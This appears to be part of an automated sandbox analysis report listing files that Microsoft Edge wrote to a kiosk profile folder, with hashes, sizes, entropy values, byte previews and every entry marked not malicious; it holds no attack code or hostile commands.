SSDEEP:	3:YdYKcFX00EKHe68a+:YqtgceK+
MD5:	ACC3151642A04910F38ECC57DD86E996
SHA1:	15032EB5492B9D1A549E09B081B673480A1D7990
SHA-256:	12BA8EBFD6A628E3AAEE9B4D3BD3ACC9F31EB5B7BE08F07DAA54E8249E7243C2
SHA-512:	A556F7DC011B2EC133BCDE5575739162D36C9B6285AEFFE49C60A2CA30C562D12A8381E92D91823F797999F31B0CBA8EAB3E0DFF33041A71EA2425BA1D8B7C31
Malicious:	false
Preview:	(...E..oy retne........................."{_../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNla6:Ls3a6
MD5:	105262FB8761DFC37BD818C13885FDB6
SHA1:	3601193CE9BF515D8EFE3D4F2E64349B90867133
SHA-256:	0F094CB5971B973D22D326225AF9D55453740C0A951F368728E81D899B63B785
SHA-512:	3141249E940F64E270BC6C4BD9D7514EB570A5FC9324E3B0399DED74FFA81EF75F77510D4708457A162DC37874DC23CCCEB251FE62B8097AC57BD6B5F578DCBE
Malicious:	false
Preview:	.........................................Q._../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlaa:Ls3a
MD5:	F42A5435A84532129A5DD2550159A370
SHA1:	2F74F00A2EB25D6C6C12968352D098C84057D548
SHA-256:	C92104559176017DC713C4B3440DEFB72CB53C579977B1217666473BECFC0749
SHA-512:	83C796BF013F8D63C33FA007A261591EA02E43AB9AAB428BD75A40B378AEA89F4439DD52A2C84BE1D0E8759AC578B7ABA4F33760E45337E73CC9E199768EBAF6
Malicious:	false
Preview:	.........................................B~_../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.192711224966387
Encrypted:	false
SSDEEP:	12:7Aug+RhYebqqBvFLjAH7Ov4YebqqBQFUv:FguhYebq8LWo4YebqZ2
MD5:	ACB8F283CFEC8534026BF266AF9C53D1
SHA1:	D49B3687618BD5759FAE59A4741695497EAD3B52
SHA-256:	2C509342A7A554C1624193EF004D39D3078FB0A7F759E7E77F117806E8CAF4B1
SHA-512:	D8F0C752733557E7A4077B8F30B01DCD9334BEFA363838DABD35DB0C058B51A2E8B3450858C2998023433BFFFBBB23B8BCF49FAEEF63991EBBD788F7B40BD48C
Malicious:	false
Preview:	2024/08/31-19:30:14.121 1a04 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb since it was missing..2024/08/31-19:30:14.396 1a04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\8d83d591-004e-442e-a85c-a617d6d21c73.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKtiVY:YHkVKJTnMRK3VY
MD5:	2800881C775077E1C4B6E06BF4676DE4
SHA1:	2873631068C8B3B9495638C865915BE822442C8B
SHA-256:	226EEC4486509917AA336AFEBD6FF65777B75B65F1FB06891D2A857A9421A974
SHA-512:	E342407AB65CC68F1B3FD706CD0A37680A0864FFD30A6539730180EDE2CDCD732CC97AE0B9EF7DB12DA5C0F83E429DF0840DBF7596ACA859A0301665E517377B
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.5559635235158827
Encrypted:	false
SSDEEP:	48:T6IopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB:OIEumQv8m1ccnvS6
MD5:	9AAAE8C040B616D1378F3E0E17689A29
SHA1:	F91E7DE07F1DA14D15D067E1F50C3B84A328DBB7
SHA-256:	5B94D63C31AE795661F69B9D10E8BFD115584CD6FEF5FBB7AA483FDC6A66945B
SHA-512:	436202AB8B6BB0318A30946108E6722DFF781F462EE05980C14F57F347EDDCF8119E236C3290B580CEF6902E1B59FB4F546D6BD69F62479805B39AB0F3308EC1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b4e2e42d-b775-44de-8045-3aba351f1a2c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d340bdc6-7bde-48ac-9ae6-1b434f513c15.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59
Entropy (8bit):	4.619434150836742
Encrypted:	false
SSDEEP:	3:YLbkVKJq0nMb1KKtiVY:YHkVKJTnMRK3VY
MD5:	2800881C775077E1C4B6E06BF4676DE4
SHA1:	2873631068C8B3B9495638C865915BE822442C8B
SHA-256:	226EEC4486509917AA336AFEBD6FF65777B75B65F1FB06891D2A857A9421A974
SHA-512:	E342407AB65CC68F1B3FD706CD0A37680A0864FFD30A6539730180EDE2CDCD732CC97AE0B9EF7DB12DA5C0F83E429DF0840DBF7596ACA859A0301665E517377B
Malicious:	false
Preview:	{"net":{"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.7273991737283296
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFl:S85aEFl
MD5:	9F7EADC15E13D0608B4E4D590499AE2E
SHA1:	AFB27F5C20B117031328E12DD3111A7681FF8DB5
SHA-256:	5C3A5B578AB9FE853EAD7040BC161929EA4F6902073BA2B8BB84487622B98923
SHA-512:	88455784C705F565C70FA0A549C54E2492976E14643E9DD0A8E58C560D003914313DF483F096BD33EC718AEEC7667B8DE063A73627AA3436BA6E7E562E565B3F
Malicious:	false
Preview:	*...#................version.1..namespace-..&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	393
Entropy (8bit):	5.168588625885929
Encrypted:	false
SSDEEP:	6:7qLOURM1923oH+Tcwt0jqEKj0QM72KLldqLWRq2P923oH+Tcwt0jqEKj0QMxIFUv:7wFRhYebqqB6LjwGv4YebqqBZFUv
MD5:	25B4FBC3A9FB756D77D38FEDCCC88D73
SHA1:	2C45F5E2A89B48BB9182B5EAB4150522E3D9EB5E
SHA-256:	2445E4D170977611E3ABECBA85C2B1B7BF7EE0A7393E8AF2DF9317DA549AA017
SHA-512:	EB918389DA7A800A6CFC2C985BE8D77BBC71B4A21F4CB02F831DCC8673D53F40F5FF3DF1F27617CBB176E371070F0E69C58E59A140C1E3EB3253D5A5244A4E5A
Malicious:	false
Preview:	2024/08/31-19:30:30.119 1a04 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage since it was missing..2024/08/31-19:30:30.147 1a04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.019797536844534
Encrypted:	false
SSDEEP:	3:sLollttz6sjlGXU2tkn:qolXtWswXU2tkn
MD5:	90881C9C26F29FCA29815A08BA858544
SHA1:	06FEE974987B91D82C2839A4BB12991FA99E1BDD
SHA-256:	A2CA52E34B6138624AC2DD20349CDE28482143B837DB40A7F0FBDA023077C26A
SHA-512:	15F7F8197B4FC46C4C5C2570FB1F6DD73CB125F9EE53DFA67F5A0D944543C5347BDAB5CCE95E91DD6C948C9023E23C7F9D76CFF990E623178C92F8D49150A625
Malicious:	false
Preview:	...n'................_mts_schema_descriptor...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
